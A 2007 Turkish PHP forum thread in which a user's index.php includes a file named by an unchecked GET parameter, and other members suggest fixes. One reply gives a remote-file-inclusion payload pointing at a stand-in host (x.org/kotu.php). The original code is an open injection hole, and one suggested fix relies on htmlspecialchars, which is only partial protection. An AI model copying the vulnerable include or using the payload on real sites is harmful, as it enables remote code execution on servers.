• 05-03-2007, 14:44:29
    #1
    Yapmaya çalıştığım sitede alt kısmı alt.php üst kısmı üst php sağ taraftaki kategoriler kısmını kategoriler.php diye ayırdım.

    Sitenin orta kısmınada <? include("$_GET[sayfa]orta2.php");?> bunu yazma sebebim sağ taraftaki kategorilerin yazılarını orta kısmında çıkartmamdır.

    sağ taraftaki kategorileri tıklayınca hadis-ravi-nakil-yaziorta2.php oluyor hadis-ravi-nakil-yazi böyle olması lazım


    çıkan hata...

    Warning: main(hadis-ravi-nakil-yaziorta2.php) [function.main]: failed to open stream: No such file or directory in /home/dosya/domains/siteismi.com/public_html/index.php on line 47

    Warning: main(hadis-ravi-nakil-yaziorta2.php) [function.main]: failed to open stream: No such file or directory in /home/dosya/domains/siteismi.com/public_html/index.php on line 47

    Not 47. Kod hatası <? include("$_GET[sayfa]orta2.php");?>

    not2: Bazı yerleri "B" Yazmamın nedeni belirgin olmasındandır...
  • 05-03-2007, 16:19:12
    #2
    1.si
    hadis-ravi-nakil-yaziorta2.php
    böyle 1 dosya yok
    2.si sayfa=http://x.org/kotu.php? ile heklerler
  • 05-03-2007, 17:42:20
    #3
    2.si sayfa=http://x.org/kotu.php? ile heklerler

    nasıl halledebilirim
  • 06-03-2007, 15:42:03
    #4
    Üyeliği durduruldu
    <? include(basename($_GET[sayfa]));?>
    kod böyle olması lazım hack olayına gelirsek
    burdaki basename bildiğim kadarıyla engelleyecektir en azından
    dışarıdan include engelleyecektir.
  • 06-03-2007, 15:49:56
    #5
    <?
    $sayfa = $_GET['sayfa'];
    $sayfa = $sayfa.'orta2.php';
    $sayfa = htmlspecialchars($sayfa);
    if(file_exists($sayfa)) {
      include($sayfa);
    } else {
      echo 'sayfa bulunamadı';
    }
    ?>
    al bu şekilde işine yarayabilir.